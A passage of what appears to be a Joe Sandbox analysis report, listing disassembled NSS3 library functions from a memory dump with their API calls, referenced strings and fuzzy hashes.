Opcode Fuzzy Hash: fe49943bc2e5164c4bb413b4f0ab267ba9aab67d3bdcb50e19d1b077d9fab78e
Instruction Fuzzy Hash: 8F312876E00505ABEB01AF28EC45976B778EF5625CB648274EC0897B11EB32EC64C7E0

Function 6CE71EA0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,S&l,6CE56295,?,00000000,?,00000001,S&l,?), ref: 6CE71ECB

Part of subcall function 6CEDC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEDC2BF

TlsGetValue.KERNEL32(?,00000001,?,S&l,6CE56295,?,00000000,?,00000001,S&l,?), ref: 6CE71EF1
EnterCriticalSection.KERNEL32(?), ref: 6CE71F01
PR_SetError.NSS3(00000000,00000000), ref: 6CE71F39

Part of subcall function 6CE7FE20: TlsGetValue.KERNEL32(6CE55ADC,?,00000000,00000001,?,?,00000000,?,6CE4BA55,?,?), ref: 6CE7FE4B
Part of subcall function 6CE7FE20: EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CE7FE5F

PR_Unlock.NSS3(?), ref: 6CE71F67

Strings

S&l, xrefs: 6CE71EA0

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Value$CriticalEnterErrorSection$Unlock
String ID: S&l
API String ID: 704537481-539497627
Opcode ID: 45fcde6a6d7bbff7afac0fcd9a014df303c1ef8ae2fd23ad8f8d68e1fb775635
Instruction ID: 8dbb46a7b277905b405e102cbd8e924d8b6902fe8d1d1e9cacf4fa791a5df623
Opcode Fuzzy Hash: 45fcde6a6d7bbff7afac0fcd9a014df303c1ef8ae2fd23ad8f8d68e1fb775635
Instruction Fuzzy Hash: E521E171A00204ABEB24AE69DC56B9A3779EF4236CF254128FD0C87B11E730E955C6B0

Function 6CE9CEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CE9CD93,?), ref: 6CE9CEEE

Part of subcall function 6CE914C0: TlsGetValue.KERNEL32 ref: 6CE914E0
Part of subcall function 6CE914C0: EnterCriticalSection.KERNEL32 ref: 6CE914F5
Part of subcall function 6CE914C0: PR_Unlock.NSS3 ref: 6CE9150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CE9CD93,?), ref: 6CE9CEFC

Part of subcall function 6CE910C0: TlsGetValue.KERNEL32(?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE910F3
Part of subcall function 6CE910C0: EnterCriticalSection.KERNEL32(?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE9110C
Part of subcall function 6CE910C0: PL_ArenaAllocate.NSS3(?,?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE91141
Part of subcall function 6CE910C0: PR_Unlock.NSS3(?,?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE91182
Part of subcall function 6CE910C0: TlsGetValue.KERNEL32(?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE9119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CE9CD93,?), ref: 6CE9CF0B

Part of subcall function 6CE90840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CE908B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CE9CD93,?), ref: 6CE9CF1D

Part of subcall function 6CE8FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CE88D2D,?,00000000,?), ref: 6CE8FB85
Part of subcall function 6CE8FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CE8FBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CE9CD93,?), ref: 6CE9CF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CE9CD93,?), ref: 6CE9CF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6CE9CD93,?,?,?,?,?,?,?,?,?,?,?,6CE9CD93,?), ref: 6CE9CF78

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: ab78e5c23bed478abea74e0d7889ba107c2ed2ccf79509fed21b3b84719f39c3
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: FA11A2A5B012045BEB10AAA66C42BABB5FC9F5854DF24403DEC1AD7741FB61DA08C6B1

Function 6CE48C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE48C1B
EnterCriticalSection.KERNEL32 ref: 6CE48C34
PL_ArenaAllocate.NSS3 ref: 6CE48C65
PR_Unlock.NSS3 ref: 6CE48C9C
PR_Unlock.NSS3 ref: 6CE48CB6

Part of subcall function 6CEDDD70: TlsGetValue.KERNEL32 ref: 6CEDDD8C
Part of subcall function 6CEDDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEDDDB4

Strings

KRAM, xrefs: 6CE48C8F

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: 2e273b6af461c36f74369808a4bd2e8f2f313fc457b93e9a78998f90b1637e39
Instruction ID: 5d06f8441a79654635b948c7a72e66d5ab48c0bb22dc7e1f324d6238ef0fbd70
Opcode Fuzzy Hash: 2e273b6af461c36f74369808a4bd2e8f2f313fc457b93e9a78998f90b1637e39
Instruction Fuzzy Hash: A9214DB1A056018FD700AF78D484669BBF4BF45318F25C96ED888CB711EB35D88ACBD2

Function 6CE58E80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6CE72E62,?,?,?,?,?,?,?,00000000,?,?,?,6CE44F1C), ref: 6CE58EA2

Part of subcall function 6CE7F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CE7F854
Part of subcall function 6CE7F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CE7F868
Part of subcall function 6CE7F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CE7F882
Part of subcall function 6CE7F820: free.MOZGLUE(04C483FF,?,?), ref: 6CE7F889
Part of subcall function 6CE7F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CE7F8A4
Part of subcall function 6CE7F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CE7F8AB
Part of subcall function 6CE7F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CE7F8C9
Part of subcall function 6CE7F820: free.MOZGLUE(280F10EC,?,?), ref: 6CE7F8D0

PK11_IsLoggedIn.NSS3(?,?,?,6CE72E62,?,?,?,?,?,?,?,00000000,?,?,?,6CE44F1C), ref: 6CE58EC3
TlsGetValue.KERNEL32(?,?,?,6CE72E62,?,?,?,?,?,?,?,00000000,?,?,?,6CE44F1C), ref: 6CE58EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6CE72E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6CE58EF1
PR_Unlock.NSS3 ref: 6CE58F20

Strings

b.l, xrefs: 6CE58E96, 6CE58F25

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID: b.l
API String ID: 1978757487-3749612370
Opcode ID: 8653176d7180e9acbb6652340c918fa7079762ce6d7cce972c803b8ec3f8a238
Instruction ID: b92f9b2982d74b58c2545a7f455ed57e8d54e9c0a332b275c6e5dc50b358b29b
Opcode Fuzzy Hash: 8653176d7180e9acbb6652340c918fa7079762ce6d7cce972c803b8ec3f8a238
Instruction Fuzzy Hash: E221BF70A197059FDB10AF28C4842A9BBF0FF48318F51456EEC989BB40DB31E864CBD2

Function 6CEC3E20 Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6CEC5B40: PR_GetIdentitiesLayer.NSS3 ref: 6CEC5B56

PR_EnterMonitor.NSS3(?), ref: 6CEC3E45

Part of subcall function 6CEF9090: TlsGetValue.KERNEL32 ref: 6CEF90AB
Part of subcall function 6CEF9090: TlsGetValue.KERNEL32 ref: 6CEF90C9
Part of subcall function 6CEF9090: EnterCriticalSection.KERNEL32 ref: 6CEF90E5
Part of subcall function 6CEF9090: TlsGetValue.KERNEL32 ref: 6CEF9116
Part of subcall function 6CEF9090: LeaveCriticalSection.KERNEL32 ref: 6CEF913F

PR_EnterMonitor.NSS3(?), ref: 6CEC3E5C
PR_EnterMonitor.NSS3(?), ref: 6CEC3E73
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CEC3EA6

Part of subcall function 6CEDC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEDC2BF

PR_ExitMonitor.NSS3(?), ref: 6CEC3EC0
PR_ExitMonitor.NSS3(?), ref: 6CEC3ED7
PR_ExitMonitor.NSS3(?), ref: 6CEC3EEE

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Monitor$EnterValue$Exit$CriticalSection$ErrorIdentitiesLayerLeave
String ID:
API String ID: 2517541793-0
Opcode ID: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction ID: a91e4ca1cdfe13c159b6e73dd40c17e46c227eef70e3fb18c570cc6235a86581
Opcode Fuzzy Hash: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction Fuzzy Hash: FB117875610700AFD7315E29FD02BC777B29B51318F604828E56A86B20E736E52ACB47

Function 6CF42C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CF42CA0
PR_ExitMonitor.NSS3 ref: 6CF42CBE
calloc.MOZGLUE(00000001,00000014), ref: 6CF42CD1
strdup.MOZGLUE(?), ref: 6CF42CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6CF42D27

Strings

Loaded library %s (static lib), xrefs: 6CF42D22

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 3d9b5c6d87a06de311c76dad05350c13819b8e9b69e461e4fed07cbc4d78fc62
Instruction ID: 87257fd13a8e98d5037631806c1e814dce11dec02bc34474a027ecd97af02be6
Opcode Fuzzy Hash: 3d9b5c6d87a06de311c76dad05350c13819b8e9b69e461e4fed07cbc4d78fc62
Instruction Fuzzy Hash: DA11BEB1A112109BEF408F19D848B6A7BB9AB46319F14C13DD919C7B42E733D808CBA1

Function 6CE3BDC0 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE3BDCA

Part of subcall function 6CE90FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE387ED,00000800,6CE2EF74,00000000), ref: 6CE91000
Part of subcall function 6CE90FF0: PR_NewLock.NSS3(?,00000800,6CE2EF74,00000000), ref: 6CE91016
Part of subcall function 6CE90FF0: PL_InitArenaPool.NSS3(00000000,security,6CE387ED,00000008,?,00000800,6CE2EF74,00000000), ref: 6CE9102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE3BDDB

Part of subcall function 6CE910C0: TlsGetValue.KERNEL32(?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE910F3
Part of subcall function 6CE910C0: EnterCriticalSection.KERNEL32(?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE9110C
Part of subcall function 6CE910C0: PL_ArenaAllocate.NSS3(?,?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE91141
Part of subcall function 6CE910C0: PR_Unlock.NSS3(?,?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE91182
Part of subcall function 6CE910C0: TlsGetValue.KERNEL32(?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE9119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE3BDEC

Part of subcall function 6CE910C0: PL_ArenaAllocate.NSS3(?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE9116E

SECITEM_CopyItem_Util.NSS3(00000000,00000000,?), ref: 6CE3BE03

Part of subcall function 6CE8FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CE88D2D,?,00000000,?), ref: 6CE8FB85
Part of subcall function 6CE8FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CE8FBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE3BE22
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE3BE30
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE3BE3B

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_ErrorValue$CopyCriticalEnterFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1821307800-0
Opcode ID: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction ID: c6b62dcf7e05c1fe63595a8d57a9cd10d181095cb4d7484aa0b10bc0cf03f97f
Opcode Fuzzy Hash: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction Fuzzy Hash: A7012BA5E41A2566F610226B6C01F57266C4F5128DF341038EE0EDABC2FB55F119C2B6

Function 6CE90FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE387ED,00000800,6CE2EF74,00000000), ref: 6CE91000
PR_NewLock.NSS3(?,00000800,6CE2EF74,00000000), ref: 6CE91016

Part of subcall function 6CEF98D0: calloc.MOZGLUE(00000001,00000084,6CE20936,00000001,?,6CE2102C), ref: 6CEF98E5

PL_InitArenaPool.NSS3(00000000,security,6CE387ED,00000008,?,00000800,6CE2EF74,00000000), ref: 6CE9102B
TlsGetValue.KERNEL32(00000000,?,?,6CE387ED,00000800,6CE2EF74,00000000), ref: 6CE91044
free.MOZGLUE(00000000,?,00000800,6CE2EF74,00000000), ref: 6CE91064

Strings

security, xrefs: 6CE91025

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: 25432d255e2b982a8d15c330399c4fff68e47d246e54c2ed65657ef602aa71a4
Instruction ID: b5fb449aa2546b31888ddec0d8abb67dbe6851ad8ec66cc1cec5cd1c0ad79163
Opcode Fuzzy Hash: 25432d255e2b982a8d15c330399c4fff68e47d246e54c2ed65657ef602aa71a4
Instruction Fuzzy Hash: 9B014830E1025097E7602F7D8C05B5A3A7CBF4378CF21021AE80897B91EB72C145DBD1

Function 6CEC1C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEC1C74

Part of subcall function 6CEDC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEDC2BF

DeleteCriticalSection.KERNEL32(?), ref: 6CEC1C92
free.MOZGLUE(?), ref: 6CEC1C99
DeleteCriticalSection.KERNEL32(?), ref: 6CEC1CCB
free.MOZGLUE(?), ref: 6CEC1CD2

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: 5b0c224e944f77ef9f8a25ac5b47c0c451f93851bec37b157f3f89808a0c9a43
Instruction ID: 6d0a46296d0fc9ed0eb3f0d45a4f4329722fddf3b052317075ba56a0982035ec
Opcode Fuzzy Hash: 5b0c224e944f77ef9f8a25ac5b47c0c451f93851bec37b157f3f89808a0c9a43
Instruction Fuzzy Hash: 8F01F9B1F116105FDF58AFE49D0DB457774A70774CF200124E61BE2B40D336E1094792

Function 6CED2E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6CED3046

Part of subcall function 6CEBEE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEBEE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6CEA7FFB), ref: 6CED312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CED3154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CED2E8B

Part of subcall function 6CEDC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEDC2BF

Part of subcall function 6CEBF110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6CEA9BFF,?,00000000,00000000), ref: 6CEBF134

memcpy.VCRUNTIME140(8B3C75C0,?,6CEA7FFA), ref: 6CED2EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CED317B

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: 2c58d5e03c0c8f7e6e806809560ca75653763ba93704c17618ba323be3b080f6
Instruction ID: bbbe70eadd00c3e79b3fd763fc589574df8283681e8c11deb95b3159e191d7e0
Opcode Fuzzy Hash: 2c58d5e03c0c8f7e6e806809560ca75653763ba93704c17618ba323be3b080f6
Instruction Fuzzy Hash: B7A1D071A002189FDB24CF54CC81BEAB7B5EF45308F258099ED496B741E731AD46CF92

Function 6CE9ED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6CE9ED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6CE9EDCE

Part of subcall function 6CE90BE0: malloc.MOZGLUE(6CE88D2D,?,00000000,?), ref: 6CE90BF8
Part of subcall function 6CE90BE0: TlsGetValue.KERNEL32(6CE88D2D,?,00000000,?), ref: 6CE90C15

free.MOZGLUE(00000000,?,?,?,?,6CE9B04F), ref: 6CE9EE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CE9EECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CE9EEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CE9EEFB

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: b3d5fb2c175871554feee577e4f57ef7e3bb53450f33c977d772cb2650897034
Instruction ID: 52882d5cae3ab31411d3211ad3c666511900f4c2e0451a23d5d57af89d252c5c
Opcode Fuzzy Hash: b3d5fb2c175871554feee577e4f57ef7e3bb53450f33c977d772cb2650897034
Instruction Fuzzy Hash: A0819DB5A006099FEB14CF55C881BAB77F5FF89308F24442DEA169B751DB31E814CBA1

Function 6CE9CCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CE9C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CE9DAE2,?), ref: 6CE9C6C2

PR_Now.NSS3 ref: 6CE9CD35

Part of subcall function 6CEF9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CF40A27), ref: 6CEF9DC6
Part of subcall function 6CEF9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CF40A27), ref: 6CEF9DD1
Part of subcall function 6CEF9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CEF9DED

Part of subcall function 6CE86C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CE31C6F,00000000,00000004,?,?), ref: 6CE86C3F

PR_GetCurrentThread.NSS3 ref: 6CE9CD54

